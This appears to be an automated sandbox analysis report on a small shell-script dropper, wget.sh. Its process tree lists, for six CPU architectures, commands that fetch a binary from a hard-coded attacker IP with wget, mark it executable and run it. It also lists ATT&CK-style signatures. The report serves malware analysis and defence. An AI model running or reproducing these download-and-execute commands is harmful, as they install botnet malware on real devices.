Analysis

  • max time kernel
    4s
  • max time network
    15s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    21/02/2025, 03:03

General

  • Target
    wget.sh
  • Size 485B
  • Sample250221-dj4r2a1may
  • SHA256 a23893ec11dca1f3dc36c0b8afa2f4890080a176a136d4dc6bb93eb1288624c4
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wget.sh
    /tmp/wget.sh
    1⤵
    • Executes dropped EXE
    PID:648
    • /bin/rm
      rm -rf arm5
      2⤵
        PID:649
      • /usr/bin/wget
        wget http://94.156.227.74/arm5 -O arm5
        2⤵
        • Writes file to tmp directory
        PID:651
      • /bin/chmod
        chmod +x arm5
        2⤵
        • File and Directory Permissions Modification
        PID:667
      • /tmp/arm5
        ./arm5
        2⤵
          PID:669
        • /bin/sh
          /bin/sh ./arm5
          2⤵
            PID:669
          • /bin/rm
            rm -rf arm6
            2⤵
              PID:673
            • /usr/bin/wget
              wget http://94.156.227.74/arm6 -O arm6
              2⤵
              • Writes file to tmp directory
              PID:675
            • /bin/chmod
              chmod +x arm6
              2⤵
              • File and Directory Permissions Modification
              PID:681
            • /tmp/arm6
              ./arm6
              2⤵
                PID:682
              • /bin/sh
                /bin/sh ./arm6
                2⤵
                  PID:682
                • /bin/rm
                  rm -rf arm7
                  2⤵
                    PID:684
                  • /usr/bin/wget
                    wget http://94.156.227.74/arm7 -O arm7
                    2⤵
                    • Writes file to tmp directory
                    PID:686
                  • /bin/chmod
                    chmod +x arm7
                    2⤵
                    • File and Directory Permissions Modification
                    PID:688
                  • /tmp/arm7
                    ./arm7
                    2⤵
                      PID:689
                    • /bin/sh
                      /bin/sh ./arm7
                      2⤵
                        PID:689
                      • /bin/rm
                        rm -rf mips
                        2⤵
                        • System Network Configuration Discovery
                        PID:691
                      • /usr/bin/wget
                        wget http://94.156.227.74/mips -O mips
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:692
                      • /bin/chmod
                        chmod +x mips
                        2⤵
                        • File and Directory Permissions Modification
                        PID:693
                      • /tmp/mips
                        ./mips
                        2⤵
                        • System Network Configuration Discovery
                        PID:694
                      • /bin/sh
                        /bin/sh ./mips
                        2⤵
                        • System Network Configuration Discovery
                        PID:694
                      • /bin/rm
                        rm -rf mpsl
                        2⤵
                          PID:696
                        • /usr/bin/wget
                          wget http://94.156.227.74/mpsl -O mpsl
                          2⤵
                          • Writes file to tmp directory
                          PID:697
                        • /bin/chmod
                          chmod +x mpsl
                          2⤵
                          • File and Directory Permissions Modification
                          PID:698
                        • /tmp/mpsl
                          ./mpsl
                          2⤵
                            PID:699
                          • /bin/sh
                            /bin/sh ./mpsl
                            2⤵
                              PID:699
                            • /bin/rm
                              rm -rf x86
                              2⤵
                                PID:702
                              • /usr/bin/wget
                                wget http://94.156.227.74/x86 -O x86
                                2⤵
                                • Writes file to tmp directory
                                PID:704
                              • /bin/chmod
                                chmod +x x86
                                2⤵
                                • File and Directory Permissions Modification
                                PID:709
                              • /tmp/x86
                                ./x86
                                2⤵
                                  PID:710
                                • /bin/sh
                                  /bin/sh ./x86
                                  2⤵
                                    PID:710

                                Network

                                      MITRE ATT&CK Enterprise v15

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